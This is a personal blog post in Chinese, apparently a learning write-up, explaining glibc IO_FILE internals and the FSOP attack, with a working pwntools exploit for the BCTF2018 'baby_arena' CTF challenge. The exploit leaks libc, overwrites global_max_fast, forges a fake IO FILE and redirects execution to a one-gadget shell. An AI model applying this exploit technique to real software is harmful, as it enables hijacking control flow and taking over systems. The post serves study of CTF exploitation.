A2ur2的梦想小屋

我许下的愿望该向谁去说明

0%

努力成长的pwn弟系列-【1】fsop

一、基础知识

1、IO FILE的主要结构

在进入正题之前,我们需要对IO FILE有一定基本了解,之前我们知道的利用unsorted bin残留指针去爆破stdout就是修改了IO FILE里面的机构,让其能输出。一般的程序都会有stdout、stdrr、stdin这三个管理数据流的IO FILE

1.1 IO_FILE_plus

每一个_IO_FILE都会被包含在IO_FILE_plus中,大致结构如下:

1
2
3
4
5
6

struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};

其中的vtable是一个_IO_jump_t 类型的指针,主要用于实现各种函数的跳转,在实现函数跳转的过程中是根据这个vtable指针+固定偏移去找到对应的位置,并且执行相应的函数。因此我们不难想到可以在一个地址上写下我们的og或者system,然后伪造vtable指针,让其跳转到我们想要执行的函数,亦或者在原本的vtable区域去修改对应偏移位置的函数,从而达到一定劫持程序流的效果。

_IO_jump_t的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};

1.2 FILE

FILE是我们IO attack里面很重要的一个结构体,很多时候要构造好一个IO FILE,才能够顺顺利利的pwn,起码不会看wp都看不懂(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;//链接IO结构体

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

其中需要注意的是flag位置,这个位置要设计好才能进入我们想要进入的函数,最常见的就是修改成0xfbad1800(我们爆破stdout去leak libc时见过),还有一个就是0(这我没遇到过,但uuu师傅说好用,那它就是好用ouo),此外,若此IO FILE的指针fp被当作参数传进函数中,那么flag就和这个参数等价(个人理解,因为有将flag位改成/bin/sh然后传进system里getshell的操作)

其次是_chain,这是一个类似fastbin的fd指针,用于指向下一个IO FILE的。

1.3_IO_list_all 指针

这个指针位于libc段,记录着_IO_FILE_plus结构体的位置,就和fastbinY一样,自己脑补理解下(顺便再回忆下fastbin attack,这是下面fsop的一要点)

2、FSOP

2.1 相关函数

FSOP的要点就在于利用 _IO_flush_all_lockp 这个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
#遍历 _IO_list_all
for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)//利用_chain遍历全部IO FILE
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //如果输出缓冲区有数据,刷新输出缓冲区
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}

#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif

return result;
}

这是_IO_flush_all_lockp的定义,从__IO_list_all指针开始,遍历完整个由chain域链接起来单链表,如果通过了if的判断,就会进入 _IO_OVERFLOW中,刷新输出缓冲区。

至此,我们不难想到,可以劫持_IO_list_all或者某一个IO FILE的chain域,从而让程序遍历到我们精心伪造的堆块中,如果丧心病狂点,可以搞好多堆块来构造fake IO FILE,搞🌼活。

2.2 FSOP的要点

首先,我们需要一个_IO_flush_all_lockp函数,让程序自己把屁股敲起来我们好进去(x

有三种情况会调用_IO_flush_all_lockp

一、libc执行abort函数时

二、程序调用exit时,_exit不行是因为它是syscall,而我们需要exit函数去调用

_IO_flush_all_lockp函数

三、从main函数返回,程序自行调用exit,从而调用_IO_flush_all_lockp函数

总而言之就是exit!

然后我们要绕过检测进入到_IO_OVERFLOW中。只需要将fake IO FILE如下布局就好

1
2
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base

预计攻击效果:当我们执行了_IO_flush_all_lockp后,遍历IO FILE遍历到我们的fake IO FILE上,然后通过vtable表跳转到 _我们的IO_OVERFLOW(没错,它在vtable里面),而此时这个vtable肯定是我们玩坏了的那种,最后就跳转到og或者system,最后成功getshell。

2.3 局限

2.23版本之后,vtable表就添加了一个check, IO_validate_vtable 函数,用于检查vtable指针是否在glibc的vtable段中,如果不是则会进一步检查是否使用外部合法的vtable。所以2.23之后,我们再也不能随便的改vtable了

3、globe_max_fast以及fastbinY

globe_max_fast是glibc定义的一个全局变量,用于记录fastbin最大的chunk大小,正常情况下大小为0x80。

根据之前所学习的fastbin attack我们可以知道fastbinY是一个单链表的头,记录了第一个进入该大小的fastbin的堆块地址。glibc寻找对应fastbinY的位置是根据第一个fastbinY的地址加上要释放进fastbin的chunk大小作为相应偏移去寻找。

二、例题:baby_arena_BCTF2018

1、程序分析

程序主要实现了三个功能,login,malloc和delete。

vEBfwF.png

限制了申请堆块的大小

在login中,get_char(&v3,16)中存在溢出可以覆盖v4,因此我们有一次任意地址写admin或者clientele的机会

vEBby6.png

2、利用思路:

利用这个任意地址写admin或者clientele,我们可以将globe_max_fast改大,那么我们的大堆块在free后就会执行进入fastbin的流程,根据偏移去寻找相应的fastbinY并且将堆地址写到该地址。

vEDKlq.png

如图,当我们的chunk大小合适,就会在fastbinsY一定偏移处写一个堆地址,联系上面的知识,我们不难想到是劫持IO_list或者是chain域,达到让程序遍历时会遍历fake IO FILE的效果。最后FSOP即可getshell

3、exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import*
p=process('./main')
context.os = 'linux'
context.log_level = 'debug'
context.arch = 'amd64'
def menu(choice):
p.sendlineafter("4.exit",str(choice))
def add(size,data):
menu(1)
p.sendlineafter("Pls Input your note size",str(size))
p.sendlineafter("note",str(data))
def delete(id):
menu(2)
#gdb.attach(p,'b free')
p.sendlineafter("id:",str(id))
def login(ptr):
menu(3)

p.sendafter("Please input your name",ptr)
p.sendlineafter("admin",str(1))
gdb.attach(p)
add(0x418,'0')#0
add(0x1400,'1')#1
delete(0)
add(0x418,'')#2


p.recvuntil("your note is")
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3c4b78
print(hex(libcbase))
#gdb.attach(p)
og=libcbase+0x4527a
globe_max=libcbase+0x3c67f8-0x8
system=libcbase+0x453a0
pause()
login(p64(og)+p64(globe_max))
pause()
print(hex(system))
print(hex(globe_max))
#gdb.attach(p)
#add(0x440,'')#3

delete(1)
#add(0x1400,'0xfbad000')

#gdb.attach(p,'b free')
fake_IO = p64(0xfbad1800) + p64(0)*3
fake_IO += p64(0) + p64(1)
fake_IO = fake_IO.ljust(0xC0,'\0')
fake_IO += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2
fake_IO += p64(0x6020B0 - 0x18)

add(0x1400,fake_IO[0x10:])
delete(1)
gdb.attach(p)
pause()
#sleep(0.1)
#gdb.attach(p)
p.recvuntil("4.exit")
p.sendline('4')


p.interactive()

4、tips

这里如果要用system传binsh的方式getshell的话,需要构造一下堆块的presize。因为我们伪造的fake IO FILE 是从它的presize位开始的

vEy5B6.png

我们的flag位对应的是堆头的presize。

后记:

开始这个系列是打算记录一下IO的学习之路,正如标题,目前还是一个pwn弟弟,要努力成长。这个例题调通挺久的,最近忙着驾考,而且脑袋经常想东想西的,导致效率真的很低下。不要想太多,活好当下才是最重要的。